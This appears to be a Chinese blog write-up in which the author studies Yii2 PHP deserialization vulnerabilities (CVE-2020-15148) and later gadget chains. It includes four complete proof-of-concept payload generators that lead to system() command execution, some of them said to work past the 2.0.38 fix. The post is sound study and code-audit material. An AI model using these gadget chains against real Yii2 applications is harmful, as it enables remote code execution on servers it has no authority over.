前言
最近学习PHP反序列化的时候遇到了yii2反序列化的利用,就顺便搭了一下环境,跟着网上各种大师傅们的文章进行了一波复现和学习,提高自己代码审计的能力。
漏洞出现在yii2.0.38之前的版本中,在2.0.38进行了修复,CVE编号是CVE-2020-15148:
Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls
unserialize()
on arbitrary user input. This is fixed in version 2.0.38. A possible workaround without upgrading is available in the linked advisory.
至于环境的安装,直接从github上找yii2,下载下来2.0.37版本,然后修改config/web.php文件里cookieValidationKey的值,随便什么值都行。然后正常的部署一下就行了,就像thinkphp那样,根目录是/yii2/web。
CVE-2020-15148复现
这个反序列化的入口点是一个__destruct(),在BatchQueryResult类中
继续跟进一下reset():
但是继续跟进close(),发现没有什么利用的办法,正常可能链就断了,但是大师傅们的思路就是不一样,这里的_dataReader
是可控的,那么调用了close的方法,是不是可以想办法触发__call呢?
全局搜索一下__call,最后在\vendor\fzaninotto\faker\src\Faker\Generator.php
找到了一个合适的__call方法:
因为close是无参方法,所以__call中的$method
是close,attributes
为空。继续跟进format方法:
看到call_user_func_array
的时候肯定就很兴奋了。继续跟进一下getFormatter
:
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
因为$this->formatters
是可控的,因此getFormatter
方法的返回值也是我们可控的,因此call_user_func_array($this->getFormatter($formatter), $arguments);
中,回调函数是我们可控的,但是$arguments
为空,所以相当于我们现在能干两件事,可以调用yii2中任意的一个无参方法,或者调用原生php的类似phpinfo()这样的无参方法,但是第二种肯定不能RCE,因此还要在yii2中已有的无参方法中进行挖掘:
function \w+\(\)
但是无参函数实在是太多了,一个一个挖起来实在费力。这里就是大师傅们的经验和智慧了,直接搜索含有call_user_function的无参函数:
function \w+\(\) ?\n?\{(.*\n)+call_user_func
但是这个正则在我这里查不到,我感觉我这里的phpstorm搜索好像有点问题。
最后找到的rest/CreateAction.php以及rest/IndexAction.php
都很好用。这里分析一下IndexAction.php:
主要是它的run方法:
太直接了,$this->checkAccess
和$this->id
都是我们可控的,相当于直接函数名和参数都可控了,反序列化链至此结束。
理一下就是这样:
class BatchQueryResult ->__destruct()
↓↓↓
class BatchQueryResult ->reset()
↓↓↓
class Generator ->__call()
↓↓↓
class Generator ->format()
↓↓↓
class Generator ->getFormatter()
↓↓↓
class IndexAction ->run()
构造一波:
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
写个controller:
触发成功!
总的来说这条链还是比较短的,难得就是__call得使用,还有call_user_func的寻找,学习一波大师傅们找反序列化利用链的思路。
其他反序列化链1的复现
根据yii2.0.38的更新:
增加了__wakeup(),在反序列化的时候直接抛出异常,因此以BatchQueryResult为起点的这条链在2.0.38里算是不行了。因此再继续复习学习一下大师傅们针对2.0.38挖掘的其他新链。
类比上一条链的思路,yii2只是限制了batchQueryResult类不能进行反序列化,但是后面的__cal以及之后的链都是完好无损的,因此想找一条新的链,最快的方式就是再找一个存在__destruct这样的利用点,然后正好类中的一个属性调用了一个方法,而且这个属性我们可控,那么就是一条新链了。
全局找一下__destruct
,经过排查,发现RunProcess类的__destruct
可以利用:
继续跟进:
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
这里$process->isRunning()
,因为$this->processes
是我们可控的,因此$process
也同样可控,所以这里调用isRunning方法,又可以触发__call,然后继续反序列化攻击。
构造一波POC:
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['isRunning'] = [new IndexAction(), 'run'];
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess
{
private $processes = [];
public function __construct(){
$this->processes[]=new Generator();
}
}
}
namespace{
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
同样利用成功。
其他反序列化链2的复现
还是看__destruct
,发现DiskKeyCache.php的Swift_KeyCache_DiskKeyCache类同样可以利用:
继续跟进一下clearAll:
并没有发现可以触发__call的地方,但是发现存在字符串的拼接,而$this->path和$nsKey
都是我们可控的,因此可以触发__toString()。全局搜索一波,可以找到很多:
据大师傅说可以找到好多个可用的toString,这里复现一下see.php里的:
public function __toString() : string
{
return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
}
看到了$this->description->render()
,就知道这条链又成了,又可以成功__call,构造一波POC:
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['render'] = [new IndexAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See
{
protected $description;
public function __construct(){
$this->description=new Generator();
}
}
}
namespace{
use Codeception\Extension\RunProcess;
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache
{
private $keys = [];
private $path;
public function __construct(){
$this->path=new See();
$this->keys=array(
'hello'=>'world'
);
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
其他反序列化链3的复现
这条链不适用和2.0.38,是2.0.37的另一条利用链,不过还是以BatchQueryResult类的__destruct作为起点。
还是跟进到这里:$this->_dataReader->close();
,但是不寻找__call作为跳板,而是寻找确实存在close方法的一个类,而且这个类的close方法可以利用。经过寻找,找到了DbSession这个类:
跟进getIsActive()
,发现无法利用,跟进composeFields()
:
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}
发现了call_user_func($this->writeCallback, $this)
,因为$this->writeCallback
可控,因此调用的回调函数可控。
如果传递一个数组给 call_user_func(),整个数组会当做一个参数传递给回调函数,数字的 key 还会保留住。
因此这里可以调用之前那条链里的run方法,实现RCE,POC如下:
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
这种思路也很妙啊,去找一个可以利用的close函数,还有call_user_func的利用也是第一次见,学到了学到了!
总结
学习了一波yii2反序列化链的挖掘,主要就是__destruct,__call,__toString等魔术方法的灵活使用和call_user_function的利用,学到了学到了。